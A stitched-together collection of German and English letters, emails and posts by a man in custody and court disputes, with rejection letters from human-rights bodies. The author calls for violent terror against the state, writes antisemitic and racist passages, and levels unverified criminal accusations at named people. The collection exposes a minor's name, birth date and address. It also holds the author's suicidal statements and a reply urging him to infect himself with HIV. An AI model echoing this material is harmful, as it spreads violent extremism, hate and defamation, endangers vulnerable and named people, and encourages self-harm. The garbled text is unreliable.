Ihr Zeichen: 352 897 102 000-750400-91100
ich wiedrhole nochmal Inhalt meines Schreibens datert auf den
03. April diesen Jahres.
?Das angeblich bestehende Versicherungsverhältnis ist gekündigt.
Es kam BETRÜGERISCH durch das Rhein-Main Jobcenter zustande. Ich verweise auf meine Briefe, Emails und Faxe vom 06., 09. und
17. Juli 2014 und vom 17. Dezemebr 2014. (letztere beigefügt)
Ich teile Ihnen heirmit mit daß ich solche Zahlunge wie die
Selbsbeteiligung zur Zahlung nicht leisten da die Forderung insgesamt
STRITTIG ist. Ich wurde entgegen meiner Patienten-verfügung behandelt.
Ich VERBIETE ihnen für meine Person irgendwelche Zahlungen an das
Unibersitätsklinikum zu leisten
und auch an jegliche andere medizinsiche Einrichtung.
Es reicht.
Ich erstatte Strafanzeige gegen Sie wegen nachweislichen wiederohlten Abrechnungsbetruges zu Lasten ihrer Versicherten!?
Wer meient Patienten ausplündern zu können indem er sie entgegen ihrem
erklärten Willen behandelt und dann dafür eine Versicherung
abrechnungsbetrügt ist als Mediziner nicht m,her vertaruenswürdig.
Wo solche Selbstbedienungs-Mentalität vorherrscht da wundere ich
mich daß es noch nicht mehr Berichte gibt über Leichen bei denen trotz
ausdrücklichm Verbot der Organentnahme Organe geerntet wurden.
Ich werde Sie strafanzeigen und dafür Sorgen tragen daß die zsutändige Aufsichtsbehörde ihren Saftladen dichtmacht.
Bähring
School classes should visit Israel and Pelestine instead of Auschwitz. Looking at the authentic places where Jesus appeared and lived as it is written in the authentic bible (it?s that authnetic that it even knows not one, not two, not three, but seven diffrent ?last word? of Jesus versions in fact) and see evidence like the ?Turin Shroud? that Jesus Christ is the only and true god ? a fact that the jews still deny even after having been sentenced by god (several times)! Chrisanity has built thousands of churches in Europe over hundreds of years. Are all those christs idiots like ?other? religons believe?The churches are there ? relics as evidence are there. Who is the ?Holychrist denier?, now?
Bürgerdialog!
Wie viel Kinder Hat Frau Merkel als Schwangerschfatsausträgerin und Eizellspenderin selbst in die Welt gesetzt? Wenn keine: Wie kommt Sie auf die Idee auch nur im entferntesten kompetent in Familienfragen zu sein?
Erhält die
Kanzlerin Kindergeld für die Kinder ihres Lebensgefährten? Wie gibt sie
dieses Geld aus? Profitiert sie selbst beispielsweise durch so
mitfinanzierten Wohnraum? (Jeder Mieter, Haus/Wohn-eigentümer weiß daß
zusätzliche Zimmer einer Wohung immer weniger Kosten als das Erste).
Wie gestaltet die Kanzlerin die Kontakte zwischen der leiblichen Mutter
und den Kindern ihres Mannes. Wird in Sorgerechtsfragen der Ex-Partner
verleumdet oder gar mit Hilfe der Staatsmacht zusammengeschlagen um dann
im Falle von dessen Notwehr zwecks des sich nicht-Totschlagen lassens
nachher Gewaltschutzgesetzgebung bei unterstellung der Gewalttätigkeit
missbraucht?
Ist es okay wenn wird jetzt auch mal die Babys von Politkern, Polizsiten, Jugenamtsmitarbeitern und vor allem Justizbediensteten/Juristen jahrzentelang ohne Lebenszeichen entführen und gegen den erklärten Willen der leiblichen Eltern Religionsgemeisnchaften angegliedert werden, präziser: sollen wir deren Kinder mal rituell genitalverstümmeln?
Missbarcuht man im Wher/-erstza-dients imemr noch Schutzbefohlene?
http://take-ca.re/download/ * http://take-ca.re/tumblr.com/ * http://take-ca.re/
Maximilian Baehring Hoelderlinstrasse 4 D-60316 Frankfurt/M.
vorab
per Fax: +49 / (0)6172 / 405-173
Amtsgericht
- Familiengericht -
Auf der Steinkaut 10-12
D-61352 Bad Homburg v.d.Höhe
Frankfurt/M., 27. April 2015
Entzug des mütterlichen Sorgerechts nach §§ 1666, 1666a BGB
für das minderjährige Kind Tabea-Lara Riek, geboren 19.09.2000
wohnhaft Hauptstraße 15, 61267 Neu Anspach
Die Mutter leidet an einer schwersten psychischen Störung, gehört einer
gefährlichen Sekte an und gefährdet das Kind auf das allermassivste. Die Mutter
verhindert durch Falschbeschuldigungen und (von der Sekte der Sie angehört)
organisierten Mordanschläge auf den Vater (so wurde er in direkter Folge für
das einreichens eines Antrages auf gemeinsames Sorgerecht vom 19. Mai am 23.
Mai 2013 krankenhausreif zusammen-geschlagen) seit Jahren Kontakt von Vater und
Kind. Die Mutter belügt Gericht und Kind. Die Mutter hat sich beim Umgang stets
unkooperativ gezeigt. Sie hat mehrfach versucht über den Vater mit
Falschangaben rechtliche Betreuung errichten zu lassen, zuletzt von ihrer
Anwältin, um so Verfahren gegen sich zu verhindern und an das Vermögen von
dessen Familie zu gelangen. Die Mutter hetzt das Kind gegen den Kindsvater auf
das allermassivste auf, erkennbar an 15-seitigen verleumderischen Hasstriaden
die sie im Umgangsverfahren 9F 434/02 UG Amtsgericht Bad Homburg per offenem
Brief ins Sekretariat des Büros des Kindesvates hat senden lassen nachdem Sie
das Gericht schon in 9F 104/01 KI Amtsgericht Bad Homburg angelogen hatte das
Kind habe keinen Vater. Die Richterin Leichthammer, die das Verfahren 92 F
493/13 SO Amtsgericht Bad Homburg (auch unter 95 ? und 96 ? ansatt 92 F ?
- um die Akte durchein-anderzubringen?) geführt hatte hat den Kindesvater
aufgrund dieser Verleumdungen FALSCH VERDÄCHTIGT sie ?verfolgen? und zwar weil
der Mann der Richterin eine Wohnung vermieten wollte per Zeitungsannonce auf
die ich zufällig antwortete. 359 Js
32999/06 Amtsanwaltschaft Frankfurt /M. Um sich hier der Strafverfolgung
für Verfolgung Unschuldiger zu ent-ziehen hat Richterin Leichthammer versucht
mich amtsmissbräuchlich per angeordneter Medikamentenvergiftung unschädlich zu
machen und durch nicht gerechtfertigte Inhaftierung einzuschüchtern; also die
Richter-kollegen decken Sie. Daher lehne ich sämtliche rechtsbeugenden
rassistischen (benachteligung vermeintlich behinderter) und sexistisch-en
Richter des AG ab und bitte um unparteiische Verfahrensführung durch Beiordnung
eines Richters von eienm anderen Gericht am besten außerhalb des OLG Bezirks
Frankfurt a.M. wo eine OLG-Richterin Heike Knauth, Verwandte des von mir
abgelehnten früheren Homburger Amtsrichters Joachim Knauth ihr Unwesen in
Sachen Rechtsbeugung betreibt. Gegen letzteren laufen Strafverfahren wegen
Begüstigung befreudneter Juristen durch falsche Gerichtkostenbeschlüsse
(Verfahrensgewinner trägt Kosten des Gegners).
Maximilian Bähring
Hier ist der Ruckschein zum VERSCHWUNDENEN Schriftsatz. Seltsam. Seit ich
wieder dritten (M.K. + V.Z.) Wohnungsschlüssel von mir gegeben habe verschwinden wieder Akten.
http://tabea-lara.tumblr.com/post/116408009073/maximilian-bahring-holderlinstrasse-4-d-60316
30. April 2015, ca: 16:10 Uhr
Ecke Hanauer-Landstraße Hölderlinstraße (Westeite), Frankfurt a.M.http://www.openstreetmap.org/#map=18/50.11364/8.69852
Dieser Mitarbeiter
http://40.media.tumblr.com/16fe22089f820ff4b91c14a62e3452cc/tumblr_nnminjLaov1sofvubo1_1280.jpg
der
Firma Securitas zeigte mir den Stinkefinger und beleidigte mich (er
sagte ?Spast? (mitS wie S-tinkefinger nicht etwa 'passt?)).
my google-email box is nearly full (15GB) I am therefore currently
imapsyncing to a vps as backup. because a 15 GB vps is to small for my
2x15 gb thereof 15gb email and 15 gb faxes newyork.dynip.name during the
past 24 hours has been moved to another vps with less ram but more hdd
space (same price). ip changed.
? korruptes Schutzeglderpresserdrückekolonnen-Gesindel ? FALSCHE
STEMPEL |9 satt 9. ? abgesendet 03.07.2014, retour heute 09.05.2015!!
NATIONS UNIES UNITED NATIONS
DROITS DE L?HOMME HUMAN RIGHTS
HAUT-COMMISSARIAT HIGH COMMISSIONER
HAUT-COMMISSARIAT AUX DROITS DE L'HOMME * OFFICE OFTHE HIGH COMMISSIONER FOR HUMAN RIGHTS
PALAIS DES NATIONS * 1111 GENEVA 10, SWITZERLAND
www.ohchr.org - FAX: +41 22 917 9027 - E-MAIL: petitions@ohchr.org
REFERENCE: G/SO 215/51 (GEN)
Geneva, 7 May 2015
Dear Mr. Baehring,
We
hereby acknowledge the receipt of your communication dated 14 April
2015.After careful consideration of the contents of your communication,
we sincerely regret having to inforinyou that the United Nations Offce
of the High Commissioner for Human Rights is not in the position to
assist you in the matter you raise. We must therefore unfortunately
return your correspondence.
We wish to inform you that
individuals can present -complaints to the United Nations Human Rights
Treaty Bodies. The procedure before these human nights bodies requires
ascertaining whether certain prelilimary criteria are satisfied before
proceeding with the examination of a communication/ complaint,
including:
1. The complaint should provide sufficient details as
to the facts of your case, and/or as to how your rights under the
relevant treaty have been violated, including a chronological
description of the facts.
2.
Domestic judicial/administrative remedies do not appear to have been
exhausted,and it has not been substantiated that the application of
domestic remedies would be unreasonably prolonged or that the remedies
would be otherwise unavailable or ineffective. The complainant should
provide a copy of the decisions by the domestic courts.
Please
note that the Office of the High Commissioner for Human Rights has no
authority regarding the European Court of Human Rights. Please also note
that the Office of the High Commissioner for Human Rights is not in
position to provide legal assistance to individuals litigating cases
before international mechanisms of human rights.
You may
understand that, While We appreciate your reasons for Writing to us, the
I existing procedures require that it is ascertained whether certain
preliminary criteria are satisfieed before proceeding with the
examination of a petition.
For information about the procedures
of the examination of individual petitions on human rights violation,
please consult our website: www.ohchr.org, direct link:
http://www2.ohchr.org/english/bodies/petitions/individual.htm.
if you have difficulties to accessing our website, please write to the UNHCHR,
Information Office PW-RS-011, 1211 Geneva 10, and ask for Human Rights Fact Sheets
Nos. 7, 12, 15 and 17.
Your Sincerely,
- Petitions and Inquiries Section _
+++
Dear Mr. Baehring,
Please
find attached a response to your communication of 14 April 2015. Best,
Petitions and Inquiries Section (Section des requêtes et des enquêtes)
Office of the High Commissioner for Human Rights
Palais des Nations
CH-1211 Genève 10
Switzerland
Fax: +41 22 9179022
================
The
information contained in this electronic message and any attachments
are intended for the specific individuals or entities named above, and
may be confidential, proprietary or privileged. If you are not the
intended recipient, or authorised representative thereof, please notify
the sender immediately, delete this message and do not disclose,
distribute or copy it to any third party or otherwise use this message.
EUROPEAN COURT OF HUMAN RIGHTS T: +33 (0)33 88 41 20 18
COUR EUROPEENNE DES DROITS DE L?HOMME F: +33 (0)3 88 41 27 30
www.echr.coe.int
Herrn
Maximilian BÄHRING
Hölderlinstrasse 4
D-60316 FRANKFURT MAIN
23. April 2015
ECHR-LGer11.00
AMU/BSE/nsc
Beschwerde Nr. 11314/15
Bähring ./. Deutschland
Sehr geehrter Herr Bähring,
Ihre am 22. Februar 2015 eingelegte Beschwerde wurde hier unter der obigen Nummer registriert.
Hiermit
teile ich Ihnen mit, dass der Europäische Gerichtshof für
Menschenrechte zwischen dem 2. April 2015 und dem 16. April 2015 in
Einzelrichterbesetzung (H. Keller, unterstützt von einem
Berichterstatter in Übereinstimmung mit Artikel 24 Absatz 2 der
Konvention) entschieden
hat, die Beschwerde für unzulässig zu erklären. Diese Entscheidung erging am zuletzt genannten Datum.
Soweit
die Beschwerde untre in seine Zuständigkeit fallen? ist der Gerichtshof
aufgrund aller zur Verfügung stehenden Unterlagen zu der Auffassung
gelangt, dass die in Artikel 34 und 35 der Konvention niedergelegten
Voraussetzungen nicht erfüllt waren.
Diese Entscheidung ist
endgültig und unterliegt keiner Berufung an den Gerichtshof sowie an die
Große Kammer oder eine andere Stelle. Sie werden daher Verständnis
dafür haben, dass die Kanzlei Ihnen keine weiteren Auskünfte über die
Beschlussfassung des Einzelrichters geben und auch
keinen weiteren
Schriftverkehr mit Ihnen in dieser Angelegenheit führen kann. Sie werden
in dieser Beschwerdesache keine weiteren Zuschriften erhalten, und die
Beschwerdeakte wird ein Jahr nach Datum dieser Entscheidung vernichtet
werden.
Das vorliegende Schreiben ergeht nach Artikel 52 A der Verfahrensordnung des Gerichtshofes.
Mit freundlichen Grüßen
Für den Europäischen Gerichtshof für Menschenrechte
A. Müller- Elschner
Referent
EUROPEAN COURT OF HUMAN RIGHTS COUNCIL OF EUROPE COUR EUROPEENNE DES DROITS DE L?HOMME
67075 STRASBOURG CEDEX 67075 STRASBOURG CEDEX
FRANCE CONSEIL DE?L EUROPE FRANCE
Der 9. Mai ist nicht länger Kriegsende sondern:
am 9. Mai 2015 BEGINNT ein neuer Bürgerkrieg
Deutsche Gerichte MISSBRAUCHEN und BEUGEN
das Recht. Weder das Verafssungsgericht noch der
Europäische Gerichtshof für Menschenrechnte noch
der UN-Hochkomissar für Menschenrechte ändern
die Benachteiligung unverheirateter deutscher Väter.
siehe hierzu: 1 BvR 50/15 Bundesverfassungsgericht
sowie 11314/15 beim EGMR (ECHR-Lger11.OOR)
und G/SO 215/51 DEU (GEN) UN-Human Rights
Es kann nicht angehen:
daß man, wenn man seine (auch finanziellen) Rechte
geltend machen will - um Prozesskostenhilfe für einen
ab zwoter Instanz notwedigen Anwalt zu bekommen
vorab mit den aus § 34 GmbHG resultierenden Kon-
sequenzen (Einzug Anteile durch Restgesellschafter)
eine eidesstattaliche Versicherung angben muß ? wobei
Klagegrund darin liegen kann daß Gelder nicht auszbe-
zahlt werden. So gewinnt derjenige Mitgesellschafter
der Zahlungen blockiert auch ganz ohne Verfahren.
Außerdem hat der deutsche Bundestag durch seine
gesetzgeberische Untätigkeit bei der vom BVerfG an-
gemahnten Reform des § 1626a BGB trotz Fristsetzung
zur Neuregelung zum 31. Dezember 2003 Tatsachen
geschaffen was das Abwechseln Kindern zwischen den
Eltern angeht (Wechselmodell: in etwa ?jede gerade
Woche des Jahres bei der Mutter, jede ungerade beim
Vater?) wodurch Unterhaltstatbestände geschaffen
werden welche nicht entstehen würden wenn man in
Berlin seine Hausaufgaben gemacht hätte.
Sie NÖTIGEN Männern also auch noch Geld ab dafür
daß sie die Erziehung/Kuidnerbetruung nicht selbst leisten
?dürfen? weil es an gesetzlicher Grundlage fehlt.
Der Instanzen-/und Institutionsweg ist erschöpft es folgt
daher nun der totale und GEWALTSAME WIDERSTAND!
From: haussmann.bad_homburg@email.de [mailto:haussmann.bad_homburg@email.de]
Sent: Sonntag, 10. Mai 2015 21:52
To: Maximilian Baehring
Subject: Re: RE: Menschenrechte, Grundrechte? Als Gerichte weigern wir uns
einfach zu arbeiten ?
Herr Baehring : veralbern kann ich mich selbst, aber wenn ihnen tatsächlich daran liegt dann suchen sie sich eine hiv infizierte Spritze, z b am Frankfurter bshnhof, siedeln dann in die Schweiz oder die Niederlande aus und lassen sich einbürgern bevor die Symptome sichtbar werden, dann wenden Sie sich an eine renommierte Sterbehilfe Organisation die ihnen dann sicherlich weiterhelfen wird.
Hochachtungsvoll
Haussmann
??Ursprüngliche Nachricht??
Gesendet: Sonntag, 10 Mai 2015 um 20:21:10 Uhr
Von: ?Maximilian Baehring? <maximilian@baehring.at>
An: haussmann.bad_homburg@email.de, [?]
Betreff: RE: Menschenrechte, Grundrechte? Als Gerichte
weigern wir uns einfach zu arbeiten ?
ORGANISIEREN SIE MIR BIITE LEGALE STERBEHILFE. ICH WILL NICHT MEHR!
Sie sehen ja was lost ist. Man weigert sich einfach - mit seltsamerwese überall gleichlautender Begründng - und unter seltsamerweise überall Anwendung der identischen Vorgehensweise: nämlich der Ablehnung der Eingabe an die jeweilige Stelle durch ?Verwerfung? bevor es zum Verfahren kommt - zu arbeiten.
Sie sind tatsächlich Opfer von eklatanter Grund- oder Menschenrechtsverletzung? Intersseiert uns nicht Ist ja eigentlich nur unsere Aufgabe aber wir haben keinen Bock. Wir Juristen ud olitiker sind viel zu ?träge? zum arbeiten.
Bei den Nazis Haben Sie wenigstes die (späteren: ?Holocaust-?)Archive erhalten, der EGMR scheisst nach einem Jahr die akten weg damit das Unrecht nicht auch noch für folgenden Generatinen dokumentiert wird.
Neben der Vorratsdatenspeicherung hat man mit dem ?Otto-Katalog? der Antiterrorgesetze nach 9/11 die Bürger- und Freiheitsrechte abgebaut. Weil ein Ausländer der Steuern zahlt hier Mitspracherechte haben soll werden - wie im Faschismus - die Bürgerrechte an die NÜTZLICHKEIT des Einzelnen (Arbeitskraft) für die GesamtGESELLSCHAFT gebunden, eien kurzsischtige Strategie die schon 1933-1945 dazu führte daß man ?ASOZIALE? dann reihenweise VERGASte und BEHINDERTE erMORDete.
Wer A sagt nämlich daß Rechte nur der hat der dafür arbeitet muß nämlich bekanntlich auch B sagen nämlich daß dann Rentner, Arbeitslose uns Behinderte keinerlei Rechte mehr haben.
Wer Bürgrechte an Arbeistkraft und Steuergeldzahlungen bindet der übersieht dabei daß jeder Mensch irgendwann mal krank wird oder Rentner der dann ?unnütz? ist für die Gesellschaft. Und spätestens dann rächt sich das kurzichtige wir geen den ?ausländischen Mitbürgern? eien Staatsbügerschat weil sie ja hier arbeiten. Mit den Väterrechten ist das Genauso. Das antiquirte Frauenbild aus der Zeit vor technischen Machbarkeit von DNA-Vatershcaftstests udn des Sozialstaates wonach derjenige der die Kder ernährt auch der Vater ist ist nichts als KINDERHANDEL. Denn so kann ich über Geldzahlungen Kinder regelrecht ?KAUFEN?. Und da gilt dann das selbe. Sobald ich arbeitslos oder kreank werde werden die Kidner an den nächsten ?WEIRTVERKAUFT?(-MIETET) der mehr leisten kann lass ein Vorgänger. Wie bei den biblischen ?Heuschrecken? (die Müntefering(?) so gerne zitierte): Ist ein Feld abgegrast: auf zum nächsten.Das einzige was uns die wir an der Macht sind interssiert ist wie wir das traditionelle Rollenmodell so ausnutzen daß irgendwelche Schlampen Männer durch ein Kidner in die Welt setzen größtmöglich ausnehmen und ruinieren können ohen dabei auch nur die geringsten Pflichten zu haben. Geld ?verdienen? durch (das Resultat von) ?schnaggserln?, mit anderen Worten: Nutten.
NACH MEINEN MEHRERN HUNGER UND DURSTSTREIKS IST seit 2012 MEINE GESUNDHEIT extremst ANGEGRIFFEN! Der medikamentösen Vergiftungen wegen?
Nach meinem Suizidversuch in den man mich mit volelr absicht getrieben hat am 24.12.2014 bin ich extrem geschächt. Ich glaube jedenefalls nicht meien 40. Gebrurtstag Mitte/Ende Juli noch zu erleben. Abegesehen davon: Ich will das auch gar nicht mehr, denn: diese verlogene Gesellschaft kotzt mich sowas von an!
> Kann ich Ihnen noch irgendwie helfen.
Daher: suchen sie mir bitte eine straffreie und legale Möglichkeit aus diesem Leiden via Schweiz oder den Niederlanden ein Ende zu setzen. Das ist Ergebis einer langen und reiflichen Überlegung nachweislich seit 2003! Ich hab die Schnauze voll.
Und sorgens Sie dafür daß sde Akten im Kampf gegen das Unrecht her nicht vernichtete werden. Das ist ja schlimmer als unter Hitler.
mit freundlichem Gru&SZlig; / Yours sincerelyMaximilian Baehring
[?]
??BEGIN PGP PUBLIC KEY BLOCK??
Version: GnuPG v2
mQGiBFRbtw0RBACmtrehmuVpR0EiXlEcdl9AttnGlK7BvVidu+EEJAg8bpnzxZ3G
[?]=kOqh
??END PGP PUBLIC KEY BLOCK??
??Original Message??
From: haussmann.bad_homburg@email.de [mailto:haussmann.bad_homburg@email.de]
Sent: Sonntag, 10. Mai 2015 17:21
To: Maximilian Baehring
Subject: Re: Menschenrechte, Grundrechte? Als Gerichte weigern wir uns einfach zu arbeiten ?
Herr Baehring,
Kann ich Ihnen noch irgendwie helfen. [?]
Oh
??Ursprüngliche Nachricht??
Gesendet: Samstag, 09 Mai 2015 um 17:30:18 Uhr
Von: ?Maximilian Baehring? <maximilian@baehring.at>
An: [?] haussmann.bad_homburg@email.de
Betreff: Menschenrechte, Grundrechte? Als Gerichte weigern wir uns einfach zu arbeiten ?
Wenn das BVerfg sich weigert zu arbeiten machen wir in satrsbourg das einfach mal genauso! Immerhin hat das Amtsgericht Bad Homburg den ordentlichen Instanzenweg ja blockiert indem es Besclhüsse anstatt ordnetlicher Urteile abfasst damit die Rechtsmittel von Berufung und Revision nicht zur Verfügung stehen.
Abgesehen davon daß wir die Leute die ihre gutes recht einklagenw ollen ja außerprozessual dazu zwingen Verfahren zu verlieren wil wir Ihnen keinen Anwlat zur Verfügung stellen so sie sich nicht erpressen lassen noch vor einem verfahren einen Offenbarusgeid zu leisten bei dem ihr Vermögen flöten geht (Einziehen von Geschäftsanteilen durch die Restgesellschafter im GmbH
Vertrag) und sie im Prinzipp zustimmen müssen Unzerhalts- Umagngs- / Sorgerechtreglungen zuzustimmen die sie so nie haben wollten. DAS IST STRAFBARE NÖTIGUNG IM AMTE!
Ich habe von Anfang an ein
geteiltes Sorgercht haben
wollen ? unter anderem um diesen Umstand zu umgehen indem ich das Kidn
anteiligs selbst in Eigenleistung betreue ? hauptsächlich aber
natrülcihw eil
ich wegen der REIKI Sekte besorgt bin.Das ganze ist eine unglaubliche
Schweinerei. WAS ALS OPTION BLEIBT IST GEWALTSAMER TERROR GEGEN DEN
STAAT UND SEINE ORGANE!
mit freundlichem Gru&SZlig; / Yours sincerely
Maximilian Baehring
Hoelderlinstrasse 4
60316 Frankfurt a.M.
Germany
maximilian@baehring.at
Fon: +49 (0)69 17320776
Fon: +49 (0)176 65605075
Fon: +49 (0)174 3639226
Fax: +49 (0)69 67831634
Ich beantrage Michael Korwisi von der Wahl auszuschließen.
Ebenso den Kandidaten der CDU.
Er ist beteiligt an Strafaten der Freiheitsberaubung von politischene
Gegnern seiner Partei währender letzten Bundestagswahl (WP 88/13). Er
hat seit 2012 massivst alle diejenigen unter Mißbrauch seiner
Amtsgewalt interneren lassen welceh die skandalösen Zustände im seiner
Amtsgewalt unter-liegenden Jugendamt angeprangert haben. Dort leistet
man ? wohl auf Anregung des Bürgermeisters hin ? zumidnest Beihilfe
zur Entführung minderjähriger aus politischen und sexistischen Motiven
heraus. Außerdem versucht man so Begutachtungen zu erpressen mit Hilfe
derer man nachher vor Gericht an der Glaubwürdigkeit von
Anzeigeerstattern der Beihilfe zum sexuellen Mißbrauch
Schutzbefohlener (Zvilidienstleistende) in städtischen Klinikbetrieben
rütteln will. Michael Korwisi hat nachweislich schon Beiträge in
Internetforen löschen lassen in denen die Öffenrlichkeit auf die wohl
parteipolitsich dcuh Dienstvorgesetzte initiierte Untätigkeit der Bad
Homburger Polizei in dieser Sache hingewiesen worden war. Es soll
nicht auffliegen daß der Sohn des Amstvorgängers von Michael Korwise,
Wolfgang Assmann, in der Schülerzeitung der Humboldschule Biertests
ver-öffentlichte und daß der Sohn des für den städtischen Kurbetrieb
Klinik Dr. Baumstark zuständigen Kurdirketors Florian Bruckmaier in
erheblichem Umfange Drogen konsumierte was die Stadt Bad Homburg v.d.
Höhe erpressbar machte. Damit ist die Wahl auf jeden Fall manipuliert
weil die Wähler getäuscht werden. Assmann (inzwischen laut Internet
Quandt Stiftung) und Bruckmaier haben als Gegenleistung für die
mütterliche Vorenthaltung des Kindes eines Opfers sexuellen
Missbrauchs (durch den Hausmeister der Klinik Dr. Baumstark Peter
Hett) als Voraussetzung für die im Umgangs-/Sorgerechtsefahren zu
erzwingende Begutachtung mit Hilfe derer die Aussage des Opfers ? zur
Vermeidung eines Skandals ? psychiatrisch für unglaubwürdig erklärt
werden sollte ? versprochen ?Reiki? eine pseudomedizinische
Sektenheil-methode mit angeschlossenem Schneeballsystem unter der K_r
Royal Marke salonfähig zu machen. Die Reiki Sekte ist ursächlich für
die Kindesentziehung beim Missbrauchs-Opfer! Die jugosalwischen
Drogen-lieferanten von Bruckmaier bekamen erpressterweise
Fetsanstellungen in städitschen betrieben (Klinik Baumstark).
P.S.: Der Chef der Frankfurter Drogenfahndung, Norbert Ditt, ebenfalls
Vater eines Schülerzeitungsmitgliedes dürfte maßgeblich verstrickt
sein in die Unterschiebe-
Versuch von Drogen an poltische Konkurrneten und an deren Vertuschung.
Beweis: Norbert Ditt, Vater von Schülerzeitung Lay-Out/ExtraPlatt
Redaktionsmitglied Thomas Ditt ist Drogenunteschiebender Fahnder der
seien erkenntnissse an den ?Spiegel? verkauft!
Beweis: Claus Assmanns Biertest aus Extraplatt Nummer 005 (vergriffen,
bei einbrücjehn ins Bürod er Schülerzeitung und mein EV-Büro wollten
Sie Offsete-Druckplatten verschindenlassen)
Claus Assmann wuurde danach von Wofgang Assmann der Humboldtschule
genommen
Es ist explizit die Rede von ?aufgehenden Gürteln? ? genau dem womit
man sich beim sexuellen Missbrauch Schutzbefohlener in der klinik
Baumstark später revanchierte
Nachweis aus dem rechenschaftberichtd er stadft Bad Homburg daß
Florian Bruckmaiers Vater Kurdirektor und Claus Assmanns Vater
Wolfgang Assmann im verwaltungsrat der Klinik Baumstark sitzen als den
Kliik-Hausmeister hett dienstlich mit dems exuellen missbrauch
beauftragt haben.
Nachweis: Stadt Bad Homburg macht bei Kur-Royal ?Reiki? salonfähig
jene Sekten-Schneeballsystem Technik gegen die ich
versuche meien Kind zu schützen, dessen Mutter es ? als Gegenleistung
für den geldwerten Vorteil der Aufwertung ihres Hokuspokus ? mir
vornthält. So wird ermöglicht daß ich per Guatchten für ungaubwürdig
erklärt wreden soll.
Nachweis: Michael Korwisi hilft der Kindesentführung und Vertuschung
bei. Er lässt mich zudem von Stadtpolizisten halbtotschlagen. Er
versucht schuldhaft meinen Tod bei
einem Hungerstreik zu verursachen. Mehrfach wird evrsucht
Wahlbenachrichtigungen zu unterschlagen. (Beschwerdeemails)
Mittels der Stadtwerke und des Umlandverbandes Rhein Main zu dem
diejenige Mainove gehört die mir heier permanent das Wasser abstellt
und der errichtung einer Klärschlammtrockungsanlage versucht man meine
Eltern zu enteignen. BRUCKMAIER (und Roljic) b-racuhten das Geld wohl
für DROGEN!Maßgeblich mitgeholfen hat der Vater der Besten Freundin
seiner Lebensgefährtin Kerstin Fette, ein rechtanswlat Fritzel der uns
anwaltlich Ver(tr)at dann aber nicht zur verahndlung erschien. Er
sitzt im Stadrat.
Genau wie der kanzleipartner meines Anwaltes im
Familien-rechtsverfahren Agenor Perpelitz. Meine Eltern verteilten
flugblätter einer Bürgerinititibve gegen die
Klärschlamm-trocknunganlage die später zur Partei Freie Homburger
wähler wurde.
Beweis: durch nachweislich absichtliche Zahlendreher versucht man zu
verhindern daß die deustchen Niderlassungen englsicher
Kapitalgeselslchaften ordentlich in Bad Homburg eingetragen wurden. Es
sind die selben charakteristischen Zahlendreher wie bei den
Wahlmanipulationen und Meldergeisterfälschungen.
http://bad-homburg.eu/rathaus/stadtverwaltung/Wahlen.php
Die Menschenwürde ist Würde wie die ?Königswürde? des staatsbürgerlichen Souveräns. Es ist die Würde die es bedeutet ein Mensch zu sein so wie die Königswürde die Amts-Würde ist der König zu sein. Das Missverständnis von Drückerkolonnen-Jugendlichen aus dem arabischen Raum oder vom Balkan sowie bildungsfrenerer Schichten der Bevölkerung die versuchen deutschen Journalismus zu bedrohen/erpressen ist: Würde sei so etwas ?Stolz? oder ?Ehre?! Das ist in etwa wie jeman der einen deutschen pass erhält zwar deutscher Staatsbürger wird aber niemals Deutscher im Sinne des Artikel 116 Grundgesetzes, Bundesrecht ist in der Normenfolge allenfalls nachrangig zum Verfassungsrecht. Wer nach dem Grundgesetz Deutscher sein will muß deutsche Gene (=deutsches Blut) haben.
Nun ein kleiner Exkurs zur Idologie des Nationalsozialismus des Adolf Hitler:
Nachdem die Kirchen spätetens seit Mönch Mendl mit Vererbungslehre und der Zucht von Über-Menschen aus den besten Verwaltern und Anführern im Kampfe deren Nachkommen sich nur noch unteiender paaren sollten, so-genanntem Adel, beschäftigt hatte fand diese Ideologie auch bei der Wissenschaft anklang. Immerhin waren Kirchen diejenigen ? mna denke an Galielo Gallilei ? die jahrelang bestimmten was nicht gestützt auf Empirie also wissen-schaftliche, wiederholbare Experimente sondern im religiösen und weltanschaulichen Sinne richtig sei. Ein zentrales Dogma der Religionen ist hierbei daß alles eien Anfang haben muß an dem ein Schöpfergott stehen kann, deshalb sind bis heute Urknalltheorien verbreitet. Nicht nur die Kreuzzügler suchten Wahrheit in biblischer Üerblieferung, nein auch die Juden beriefen sich darauf ein rassereines Volk zu sein, da sie ja nur untereinander heirateten und Nachkommen zeugten.
Rassimus ist in erster Linie Heiratspolitk (Nachkommenzeugung) und die Zucht-Aufsicht oblag den Religionen!
Und dieses rassereine Volk der Juden dem war nun ja von Gott (Pharao?) das zur Jahrhundertwende unter britscher Besatzung stehende Palästina als das Land des auserwählten Volkes der Israeliten versprochen worden. Alle Juden nun in einen neu zu schaffenden Gottesstaat umzudsiedeln war das Ziel Theodor Herzls und seiner Bewegung, der Zionisten. Wen jetzt jemand anfängt zu sagen wir gründen unseren eigenen Gottessstaat (möglicherweise ? damals gab es ja noch kein Israel) auf deutschem Boden ist das Terrorimus. (In Terror steckt das Wort TERRE, Erde/Boden drinne, Terroristen sind nur diejenigen ausfändischen die sich fremdes Land unter den Nagel reissen wollen, nicht etwa Einwanderer die per aus überhöhten Steuern oder aus Erbschaftssteuer von Bestandsbürgern fianzierten Sozialleistungen/Umverteilung dieselben enteignen). Hitler verfolgte ja alles was nicht der Volksgemeinschaft nützlich war oder zu ihr gehören sollte.
Behinderte und Geistesschwache sollten vergast werden weil sie nicht arbeiten konnten oder erbungesunde Nachkommen erzeugen. Wer nicht arbeiten konnte oder abweichender Meinung war ebenfalls!
Das nennt man Faschismus. Das wohl Volks-Corpus (des Rutenbündels) steht über dem Wohl des einzelnen. Der Einzelne kann problemlos geopfert werden wenn es der Gemeinschaft dient. Im Zusammenhang mit 9/11 bedeutet Faschismus: wir schießen die entführten Flugzeuge ab weil das Leben der wenigen an Bord weniger wichtig ist als das Leben derjenigen vielen in den Gebäuden in welche Kamikazepiloten entfürhte Turbinen Maschinen steuern.
Nun, wir schreiben nach 2000 und im Bundesdeustchen Recht steht imme noch drinne das eine Mutter als Elternteil mehr Wert ist als ein Vater. Das ist ?nazi?, es gibt zweierlei ?Menschen-wert/= -Würde?. Der Mann soll sich im Krieg Opfern während die Emanze einen Vorteil daraus hat ein Jahr fürher studieren gehen zu können. Der Mann wird zum Kriegsdienst gezwungen aber die Frau bekommt Frauenförderung. Der mann hat kein Recht auf die körperliche Unversehrtheit, wie soll das denn auch durchsetzbar sein als potentiell verwundetes Kanonenfutter im Krieg?
